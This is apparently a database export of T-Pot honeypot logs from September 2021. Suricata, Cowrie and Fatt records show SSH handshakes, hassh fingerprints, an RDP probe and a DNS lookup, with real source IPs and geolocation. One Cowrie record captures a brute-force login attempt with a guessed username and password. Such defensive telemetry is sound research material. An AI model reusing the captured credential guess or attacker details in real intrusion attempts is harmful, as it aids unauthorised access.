25666	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:37.746143+03	2021-09-20 14:15:10.449501+03	{"_id": "6AbmAnwBvYTbRNuElBti", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 36143964742959, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34322, "dest_port": 22, "timestamp": "2021-09-20T11:10:37.746143Z", "@timestamp": "2021-09-20T11:10:37.746Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
41103	192.168.20.147	109.199.241.180	Suricata	2021-09-20 16:03:34.106181+03	2021-09-20 16:15:02.294747+03	{"_id": "3gZNA3wBvYTbRNuE-4wQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:03:34.106181Z", "@timestamp": "2021-09-20T13:03:34.106Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25667	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:37.470145+03	2021-09-20 14:15:10.450471+03	{"_id": "6gbmAnwBvYTbRNuElRt4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34322, "timestamp": "2021-09-20T11:10:37.470145", "@timestamp": "2021-09-20T11:10:37.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25668	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:37.798826+03	2021-09-20 14:15:10.451501+03	{"_id": "7gbmAnwBvYTbRNuElhsM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "257053ae9794", "@version": "1", "timestamp": "2021-09-20T11:10:37.798826Z", "@timestamp": "2021-09-20T11:10:37.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25669	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:37.936775+03	2021-09-20 14:15:10.453503+03	{"_id": "7wbmAnwBvYTbRNuElhsM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [strycek/st13ip] failed", "session": "cfc54c5f0e4f", "@version": "1", "password": "st13ip", "username": "strycek", "timestamp": "2021-09-20T11:10:37.936775Z", "@timestamp": "2021-09-20T11:10:37.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25670	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:10:39.008449+03	2021-09-20 14:15:10.454501+03	{"_id": "9QbmAnwBvYTbRNuEmBtL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1174782744646973, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49292, "dest_port": 22, "timestamp": "2021-09-20T11:10:39.008449Z", "@timestamp": "2021-09-20T11:10:39.008Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25675	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:32.104143+03	2021-09-20 14:15:10.460502+03	{"_id": "WgbmAnwBvYTbRNuEfhuY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4569a57205cf", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:32.104143Z", "@timestamp": "2021-09-20T11:10:32.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25671	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:39.199216+03	2021-09-20 14:15:10.4555+03	{"_id": "9gbmAnwBvYTbRNuEmRti", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33390, "timestamp": "2021-09-20T11:10:39.199216", "@timestamp": "2021-09-20T11:10:39.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25672	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:10:30.424806+03	2021-09-20 14:15:10.456471+03	{"_id": "NgbmAnwBvYTbRNuEehsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 34872, "dest_port": 22, "timestamp": "2021-09-20T11:10:30.424806", "@timestamp": "2021-09-20T11:10:30.424Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25673	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:32.105998+03	2021-09-20 14:15:10.4575+03	{"_id": "TQbmAnwBvYTbRNuEfhsB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59992, "timestamp": "2021-09-20T11:10:32.105998", "@timestamp": "2021-09-20T11:10:32.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25674	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:32.101421+03	2021-09-20 14:15:10.459502+03	{"_id": "TwbmAnwBvYTbRNuEfhuY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:59992 (192.168.176.2:22) [session: 4569a57205cf]", "session": "4569a57205cf", "@version": "1", "protocol": "ssh", "src_port": 59992, "dest_port": 22, "timestamp": "2021-09-20T11:10:32.101421Z", "@timestamp": "2021-09-20T11:10:32.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25700	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:10:24.377118+03	2021-09-20 14:15:10.576478+03	{"_id": "-wbmAnwBvYTbRNuEYhqi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 51093, "dest_port": 3389, "timestamp": "2021-09-20T11:10:24.377118", "@timestamp": "2021-09-20T11:10:24.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
25676	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:32.380785+03	2021-09-20 14:15:10.4615+03	{"_id": "bAbmAnwBvYTbRNuEgBvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1847329525546191, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59992, "dest_port": 22, "timestamp": "2021-09-20T11:10:32.380785Z", "@timestamp": "2021-09-20T11:10:32.380Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25677	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:32.853698+03	2021-09-20 14:15:10.4625+03	{"_id": "bwbmAnwBvYTbRNuEgBvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1659723206652579, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7459, "dest_port": 22, "timestamp": "2021-09-20T11:10:32.853698Z", "@timestamp": "2021-09-20T11:10:32.853Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25678	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:32.765133+03	2021-09-20 14:15:10.464471+03	{"_id": "cQbmAnwBvYTbRNuEgRvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39082, "timestamp": "2021-09-20T11:10:32.765133", "@timestamp": "2021-09-20T11:10:32.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25679	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:10:44.900339+03	2021-09-20 14:15:10.465471+03	{"_id": "XQbmAnwBvYTbRNuErxy_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49109, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2002, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1814915408246605, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44428, "timestamp": "2021-09-20T11:10:44.900339Z", "@timestamp": "2021-09-20T11:10:44.900Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
